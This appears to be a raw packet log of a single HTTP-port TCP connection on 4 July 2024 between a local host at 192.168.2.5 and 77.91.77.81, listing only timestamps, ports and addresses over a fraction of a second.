Jul 4, 2024 22:20:38.098797083 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.098809004 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.098839045 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.098859072 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.098926067 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.098937035 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.098947048 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.098958969 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.098968029 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.098970890 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.098988056 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.099014997 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.099437952 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.099487066 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.099495888 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.099507093 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.099535942 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.099601984 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.099612951 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.099620104 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.099627972 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.099644899 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.099672079 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.099814892 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.099826097 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.099834919 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.099847078 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.099858999 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.099859953 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.099870920 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.099878073 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.099884033 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.099903107 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.099934101 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.100332975 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.100369930 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.100378036 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.100382090 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.100410938 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.100424051 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.100517988 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.100528955 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.100538969 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.100553036 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.100558043 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.100570917 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.100593090 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.100603104 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.100630045 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.130892038 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.130935907 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.130945921 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.130980968 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.131001949 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.131021976 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.131033897 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.131043911 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.131053925 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.131064892 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.131081104 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.131103039 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.131212950 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.131225109 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.131234884 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.131247044 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.131253958 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.131273031 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.131299019 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.131469011 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.131479025 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.131489992 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.131510973 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.131524086 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.131573915 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.131587029 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.131596088 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.131607056 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.131616116 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.131619930 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.131633043 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.131643057 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.131644011 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.131654024 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.131673098 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.131697893 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.133101940 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.133111954 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.133122921 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.133135080 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.133145094 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.133151054 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.133156061 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.133187056 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.133207083 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.158734083 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.158767939 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.158778906 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.158833027 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.158848047 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.158863068 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.158910990 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.158943892 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.158955097 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.158965111 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.158976078 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.158983946 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.158987999 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.158999920 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.159032106 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.159179926 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.159190893 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.159200907 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.159220934 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.159235001 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.159333944 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.159344912 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.159354925 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.159364939 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.159375906 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.159380913 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.159389973 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.159403086 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.159415007 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.159415960 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.159427881 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.159430027 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.159459114 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.159480095 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.187072039 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.187093019 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.187104940 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.187114954 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.187120914 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.187131882 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.187134981 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.187163115 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.187172890 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.187182903 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.187206984 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.187216043 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.187236071 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.187246084 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.187278032 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.187279940 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.187314987 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.187325001 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.187335968 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.187351942 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.187359095 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.187375069 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.187397003 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.187468052 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.187478065 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.187505960 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.187520027 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.187537909 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.187549114 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.187558889 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.187572956 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.187572956 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.187582970 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.187602043 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.187608957 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.187763929 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.187774897 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.187786102 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.187797070 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.187808037 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.187819004 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.187849045 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.187877893 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.187889099 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.187918901 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.187943935 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.187961102 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.187973022 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.187982082 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.187994003 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.187999010 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.188007116 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.188026905 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.188035011 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.188122034 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.188133955 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.188143969 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.188162088 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.188174009 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.188186884 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.188240051 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.188256025 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.188267946 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.188282013 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.188290119 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.188303947 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.188446999 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.188457966 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.188472986 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.188488960 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.188496113 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.188499928 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.188504934 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.188512087 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.188529968 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.188548088 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.188585043 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.188622952 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.188659906 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.188674927 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.188700914 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.188711882 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.188786983 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.188798904 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.188808918 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.188819885 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.188822031 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.188832998 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.188851118 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.188862085 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.189019918 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.189032078 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.189042091 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.189053059 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.189059019 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.189064026 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.189065933 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.189074993 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.189085960 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.189088106 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.189096928 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.189109087 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.189110994 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.189125061 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.189152956 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.189343929 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.189361095 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.189371109 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.189382076 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.189385891 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.189394951 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.189404011 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.189410925 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.189441919 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.192439079 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.192589045 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.223143101 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.223182917 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.223193884 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.223203897 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.223228931 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.223247051 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.223257065 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.223273039 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.223287106 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.223299980 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.223334074 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.223345041 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.223355055 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.223376036 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.223402023 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.223408937 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.223414898 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.223440886 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.223453999 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.223526955 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.223539114 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.223548889 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.223561049 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.223568916 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.223597050 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.223618031 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.223658085 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.223689079 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.223701000 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.223728895 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.223741055 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.223815918 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.223826885 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.223836899 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.223848104 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.223854065 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.223860979 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.223862886 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.223885059 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.223910093 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.224036932 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.224049091 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.224060059 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.224072933 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.224082947 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.224090099 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.224093914 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.224108934 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.224138021 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.224261045 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.224272966 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.224299908 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.224320889 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.248600960 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.248759031 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.248774052 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.248784065 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.248792887 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.248804092 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.248814106 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.248816013 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.248827934 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.248852015 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.248867989 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.248922110 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.248933077 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.248963118 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.249011993 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.249023914 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.249033928 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.249044895 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.249053001 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.249056101 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.249080896 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.249109030 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.249134064 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.249175072 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.249213934 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.249228001 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.249238968 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.249253035 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.249254942 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.249265909 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.249289989 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.249414921 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.249427080 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.249438047 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.249459028 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.249485016 CEST	49711	80	192.168.2.5	77.91.77.81
